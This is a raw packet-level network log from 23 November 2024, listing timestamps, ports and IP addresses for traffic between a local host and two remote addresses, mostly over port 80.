Nov 23, 2024 05:02:54.365619898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.366381884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.370058060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.517494917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.517580032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.517604113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.517724991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.518023014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.518079996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.518105984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.518285990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.518755913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.518857002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.518943071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.519697905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.519754887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.519799948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.519872904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.520639896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.520695925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.520700932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.520860910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.521585941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.521642923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.521683931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.521876097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.522550106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.522605896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.522671938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.522728920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.523514986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.523684025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.523752928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.524477959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.524545908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.524586916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.524779081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.525412083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.525489092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.525527000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.525580883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.526381016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.526451111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.526494980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.526668072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.527331114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.527396917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.527435064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.527679920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.528271914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.528328896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.528367996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.528484106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.529230118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.529283047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.529319048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.529768944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.530177116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.530236006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.530272961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.530318022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.531135082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.531188965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.531230927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.531670094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.532090902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.532145977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.532186985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.532288074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.533083916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.533152103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.533237934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.534019947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.534101963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.534161091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.534945011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.535016060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.535053968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.535165071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.535904884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.535959959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.536000013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.536050081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.536869049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.536921978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.536956072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.537013054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.537810087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.537861109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.537906885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.537955999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.538768053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.538820982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.538856983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.539309025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.539724112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.539778948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.539818048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.539921999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.540672064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.540724039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.540752888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.540935993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.541605949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.541718006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.541774035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.542571068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.542637110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.542649031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.542776108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.544548035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.544559956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.544626951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.544636011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.544646978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.544693947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.545444012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.545516014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.545600891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.545703888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.546394110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.546448946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.546518087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.546567917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.547368050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.547419071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.547424078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.547611952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.548309088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.548419952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.548477888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.549241066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.549300909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.549339056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.549448013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.550235987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.550282001 CET	443	49898	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.550290108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.550333023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.550400972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.550616980 CET	49898	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:54.550646067 CET	443	49898	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.551152945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.551275015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.551357031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.551769018 CET	443	49898	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.552067041 CET	49898	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:54.552099943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.552205086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.552226067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.552249908 CET	443	49898	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.552270889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.553061962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.553132057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.553155899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.553277016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.554007053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.554117918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.554166079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.554975986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.555073023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.555126905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.555927992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.555989027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.556026936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.556180000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.556890965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.556945086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.556983948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.557034016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.557826042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.557883978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.557921886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.558111906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.558785915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.558841944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.558881044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.559036970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.559755087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.559811115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.559848070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.559899092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.560703993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.560758114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.560798883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.560916901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.561681986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.561742067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.561805964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.561861038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.562604904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.562717915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.562776089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.563553095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.563608885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.563647985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.563694000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.564501047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.564599037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.564655066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.565448999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.565520048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.565558910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.565723896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.566411972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.566515923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.566576958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.567378998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.567435980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.603018045 CET	49898	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:54.718846083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.718905926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.718935013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.718981981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.719343901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.719391108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.719429970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.719523907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.720248938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.720355034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.720356941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.720410109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.721211910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.721271038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.721297979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.721370935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.722174883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.722223997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.722270966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.722338915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.723098040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.723146915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.723191977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.723272085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.724050045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.724098921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.724103928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.724236965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.725014925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.725044966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.725089073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.725927114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.726066113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.726094961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.726109028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.726921082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.726970911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.727025986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.727068901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.727874994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.727931023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.727962017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.728079081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.728811979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.728858948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.728900909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.729032993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.729780912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.729898930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.729955912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.730742931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.730807066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.730838060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.730943918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.731689930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.731750965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.731779099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.731865883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.732618093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.732664108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.732722998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.732784033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.733577967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.733628988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.733673096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.733755112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.734548092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.734592915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.734658003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.734708071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.735497952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.735548019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.735588074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.735635996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.736443043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.736494064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.736540079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.736603022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.737406015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.737488031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.737513065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.737638950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.738343000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.738445997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.738486052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.739303112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.739413023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.739458084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.740286112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.740390062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.740417004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.740431070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.741210938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.741327047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.741379023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.742167950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.742271900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.742321968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.743134975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.743215084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.743243933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.743283987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.744081974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.744148016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.744177103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.744220018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.745049953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.745136976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.745187998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.745234013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.745987892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.746094942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.746117115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.746145964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.746942997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.747004032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.747054100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.747143984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.747883081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.747941971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.747987032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.748051882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.748845100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.748914957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.748955011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.749136925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.749795914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.749855995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.749916077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.749989986 CET	49819	80	192.168.2.6	185.215.113.206
